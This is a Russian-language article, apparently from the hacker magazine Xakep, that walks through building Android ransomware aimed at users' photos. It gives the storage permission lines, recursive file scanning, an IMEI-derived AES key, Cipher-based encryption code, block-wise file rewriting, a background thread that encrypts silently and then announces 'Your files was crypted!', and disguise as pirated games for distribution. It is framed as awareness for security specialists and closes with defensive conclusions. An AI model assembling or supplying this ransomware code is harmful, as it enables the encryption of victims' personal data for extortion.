Содержание статьи
До последнего времени, как по результатам опросов, так и из личного общения, складывалось впечатление, что ценность данных, хранящихся на устройстве, пользователи считают значительно выше стоимости самого устройства. Почему до последнего времени? Потому, что я еще не видел подобных опросов, проведенных среди пользователей новых айфонов и с учетом сегодняшнего курса доллара :).
Именно высокой стоимостью хранящихся на компьютерах данных и обусловлен бум рансомвары, троянов-вымогателей, шифрующих всю операционную систему либо только данные пользователя.
Компания «Доктор Веб» называет трояны-шифровальщики основной угрозой для пользовательского сегмента сети Интернет. Согласно опубликованному компанией отчету, с середины 2013 года к ним поступило более восьми с половиной тысяч запросов на расшифровку закодированных шифровальщиками файлов. К ноябрю 2015 года такого рода запросы составили 60% от всех обращений. В своем отчете «Доктор Веб» честно признается, что шанс восстановить закодированные данные — не больше 10%.
Надеваем черную шляпу
Разумеется, мы ни в коей мере не призываем читателя к написанию малвари. Но ведь мы, как специалисты по безопасности, должны быть в курсе того, как действуют злохакеры? Должны, иначе как мы будем им противодействовать? Поэтому сейчас мы наденем блекхет и посмотрим, как действуют кодеры, пишущие шифровальщики личной информации для Андроида.
Да, я осознанно сместил вектор в сторону шифрования «личной информации». В ОС Android достаточно четко разграничены пользовательские данные и системные файлы, поэтому написание для нее массово распространяемого блокиратора будет достаточно хлопотной задачей. Необходимо как-то повышать привилегии приложения в системе, а из-за многообразия устройств и версий сложно создать универсальный алгоритм. Для отъема денег у неопределенной группы населения проще совершить атаку на сегмент данных юзера.
Хакер #204. Шифровальщик для Android
Доступ к файлам
Для начала хакеры получают доступ к данным на устройстве. С этим нет проблем, такую операцию мы выполняем практически в каждой статье. Нам потребуется добавить пару строчек в манифест-файл приложения.
<uses-permission android:name=
"android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name=
"android.permission.WRITE_EXTERNAL_STORAGE" />
При запуске система предупредит пользователя, что приложению необходимо предоставить доступ к дисковому пространству, без какой-либо конкретики. Это выглядит вполне нормально: можно придумать тысячу вполне легальных причин, зачем разработчику потребовалось что-то сохранять или читать с диска. ОС в дальнейшем никак не будет ограничивать действия приложения, все файлы окажутся в нашем распоряжении.
Сегодня мы займемся только фотографиями. Первым делом нужно найти корневую директорию для всех изображений на устройстве. В зависимости от версии ОС путь к этой папке может немного отличаться, поэтому воспользуемся классом Environment. Он предоставляет доступ к различным переменным окружения, нам нужна DIRECTORY_PICTURES.
File myPath = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);
Переменные окружения — удобный инструмент для хранения динамически изменяемой информации. В них хранятся стандартные параметры, которые требуются сразу многим приложениям: пути к папкам со стандартным наполнением (домашняя директория, хранилище временных файлов), кодировка по умолчанию и другие.
Чтобы зашифровать файл, необходимо получить его полный путь на устройстве, с этой целью применим старую добрую рекурсию. Если проверяемый файл является директорией, вызываем метод еще раз, но уже для нового пути. Определить, чем именно является проверяемый путь, поможет класс File. В нем есть методы isFile() и isDirectory, которые выполнят необходимую проверку.
private void dirScan(File dir){
if(dir.isFile()){
//do smth with file
}else if(dir.isDirectory()){
for(File child : dir.listFiles())
dirScan(child);
}
}
Как только получен путь к файлу, можно сразу приступить к его модификации. Первые экземпляры троянов-шифровальщиков использовали нестойкие алгоритмы кодирования: от изменения расширений файлов до накладывания XOR с вшитым в модуль ключом. Такой подход позволял антивирусным аналитикам создавать декодеры практически моментально.
Сегодня мы пройдем на пару шагов дальше и посмотрим, как злокодеры организуют шифрование так, чтобы файлы можно было восстановить, только попросив ключ у создателя трояна.
Организуем шифрование
Чтобы изменить пользовательские файлы, воспользуемся наработками мировой криптографии. В Android нам доступен Java-класс Cipher, в котором реализованы стойкие алгоритмы шифрования данных. Наша задача — в короткий срок зашифровать большой объем данных. Для этих целей хорошо подходит AES. Это симметричный блочный алгоритм шифрования. Его реализация в Android позволяет использовать ключ длиной до 256 бит. Современные ученые пока не нашли существенных уязвимостей в этом алгоритме, а время прямого подбора такого ключа стремится к бесконечности.
AES
AES — это симметричный блочный алгоритм шифрования, пришел на смену DES в 2002 году. В одном из режимов шифрования каждый следующий блок данных дополнительно маскируется операцией XOR с предыдущим блоком, а на самый первый блок накладывается XOR с вектором инициализации — случайными данными, по размеру равными блоку.
Получаем ключ
Первым делом хакеры обдумывают вопрос хранения самого важного — ключа шифрования. Самый простой подход — жестко вшитый в приложение ключ, абсолютно бессмысленный, поскольку вирусные аналитики в считаные мгновения достанут его оттуда и выпустят расшифровывающую утилиту.
Поэтому наиболее продвинутые лесорубы (та-ак, кто тут забыл, что первых hacker’ов отечественные переводчики нарекали лесорубами? А про file, переведенный как «напильник»? — Прим. ред.) организовывают специальные серверы управления, на которых по запросу генерируются ключи, и хранятся они только в оперативной памяти зараженного устройства. Если алгоритм шифрования будет реализован корректно, антивирусные специалисты будут серьезно озадачены.
Для упрощения разработки рекомендую воспользоваться какой-нибудь сторонней библиотекой. Недавно мы разбирали библиотеку Retrofit, в которой уже все готово для передачи данных на сервер и обратно. Поэтому сегодня мы не будем подробно останавливаться на этом, ты найдешь все необходимое в моей прошлой статье «Шесть лучших библиотек Android-разработчика».
Для полноты картины рассмотрим еще один распространенный вариант, когда ключ будет генерироваться на основе какой-то уникальной информации. Класс TelephonyManage предоставляет доступ к различным техническим параметрам, связанным с сотовой связью: параметрам сети, данным о провайдере, состоянию сим-карты и прочему. Сегодня мы для основы ключа возьмем IMEI-номер.
TelephonyManager tm = (TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE);
String imeiData = tm.getDeviceId();
Теперь приступим к генерации ключа, подходящего для шифрования. Нам необходимо преобразовать полученные данные в последовательность из 256 байт. Чтобы исключить возможные проблемы, принудительно укажем кодировку UTF-8.
String key = "";
while (key.length() < 256)
key += imeiData;
return key.substring(0, 256).getBytes("UTF-8");
Алгоритм
А теперь приступим к реализации самого алгоритма. Создадим метод, который будет шифровать массив байтов заданным нами ключом.
private byte[] encrypt(byte[] my_key, byte[] clear){
Сам алгоритм шифрования загружается методом getInstance. Чтобы пробудить в тебе интерес к криптографии, предлагаю самостоятельно почитать про блочные шифры и выбрать, какая именно реализация нам подойдет больше всего.
Cipher cipher = Cipher.getInstance(cypher_name);
В реализации Java ключ шифрования требуется преобразовать в так называемый специальный секретный ключ SecretKeySpec. Полученный объект будет содержать «наш ключ плюс название алгоритма шифрования». Также нам потребуется задать вектор инициализации.
SecretKeySpec secretKeySpec = new SecretKeySpec(my_key, "AES");
IvParameterSpec ivParameterSpec = new IvParameterSpec(my_key);
Все необходимое сделано. Теперь заполним данными объект cipher, и можно выполнять шифрование поданных на вход метода байтов.
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] encrypted = cipher.doFinal(clear);
Расшифровка будет выполняться по тому же алгоритму, следует только заменить первый аргумент метода init на Cipher.DECRYPT_MODE.
Читаем файлы
В ОС Android жестко лимитирован объем ресурсов, выделенных приложению. При обработке файла велик соблазн полностью загрузить его в оперативную память, но так лучше не делать, если заранее не знаешь точный размер файла. Данные о количестве выделенной оперативной памяти можно получить методом getMemoryClass(). Если загрузить в память что-то очень большое, доступный объем может быть исчерпан, и приложение аварийно завершится с ошибкой OutOfMemoryError. Чтобы этого избежать, следует загружать файл в память по частям (блоками). Для блочного чтения и записи файлов воспользуемся классами BufferedInputStream и -OutputStream.
InputStream in = new BufferedInputStream(new FileInputStream(file));
OutputStream out = new BufferedOutputStream(new FileOutputStream(file_encr));
Метод read позволяет прочитать из файла последовательность байтов указанной длины. В качестве выходного значения указывается количество прочитанных байтов, метод возвращает -1, если файл закончился. Чтобы записать последовательность байтов в файл, достаточно операции присваивания, при следующей итерации запись будет продолжена.
while(in.read(buffer,0,blockSize)!=-1){
bufferOut = encrypt(key, buffer);
...
}
Запускаем шифрование
Если удалось получить доступ к устройству, то операцию шифрования возможно запустить сразу же, при первом старте приложения методом onCreate. Поскольку файлов много, этот процесс может занять продолжительное время. В ОС Android для выполнения длительных операций (более 5 секунд) требуется создавать отдельный поток. Для этого воспользуемся классами Thread и Runnable, которые позволяют запускать в отдельном потоке ресурсозатратные операции.
final Handler handler = new Handler();
Runnable runnable = new Runnable() {
Для выполнения задуманного воспользуемся методом Run, который запустит шифрование файлов. Этот метод может выполняться достаточно долго, все зависит от производительности устройства. Тем неменее, пользователь визуально не заметит, чем именно нагружен его аппарат.
public void run() {
dirScan(file);
Теперь воспользуемся задействованным классом Handler. Он позволяет нам после завершения длительных процедур вернуть какое-либо значение в главный поток, т.е. внести видимые для пользователя изменения.
handler.post(new Runnable() {
public void run() {
TextView text=(TextView)findViewById(R.id.textV);
text.setText("Your files was crypted!");...};
Для запуска созданного потока достаточно создать новый объект Thread.
new Thread(runnable).start();
Способы внедрения
Как обычно, для внедрения шифровальщика будут использоваться человеческие слабости. Кто-то захочет сэкономить деньги и скачает этот троян, думая, что получает полновесную версию дорогой игры из Google Play, а другие могут заинтересоваться каким-то необычным контентом. Любопытство и жадность — вот два порока, которые сейчас чаще всего приводят к беде пользователей мобильных устройств.
Выводы
Возможно, производителям стоит пересмотреть подход к используемой в мобильных операционных системах модели безопасности. Да, приложения достаточно надежно изолированы друг от друга, но мы сегодня убедились, что доступ к самому важному — пользовательским данным — можно получить одной строкой. При этом пользователю совершенно непонятно, какое приложение и как взаимодействует с его личными данными. По сути, модель поведения полностью скопирована с «больших» ОС. Наверное, есть смысл ввести дополнительные ограничения на доступ к наиболее важным данным на устройстве. Да и антивирусные приложения уже не выглядят столь бесполезными.
Мы с тобой живем в очень интересное время. Современные технологии меняют мир каждый день, а прогресс делает людей все более зависимыми от гаджетов. Еще недавно все мы сидели за стационарными компьютерами, а сейчас большинству достаточно планшета. Раз ты читатель «Хакера», то наверняка понимаешь, что новые технологии — это не только молочные реки и кисельные берега, но и дополнительные угрозы ИБ, а значит, для нас всегда найдется работа. Так или иначе, темная сторона силы будет повержена :). Удачи!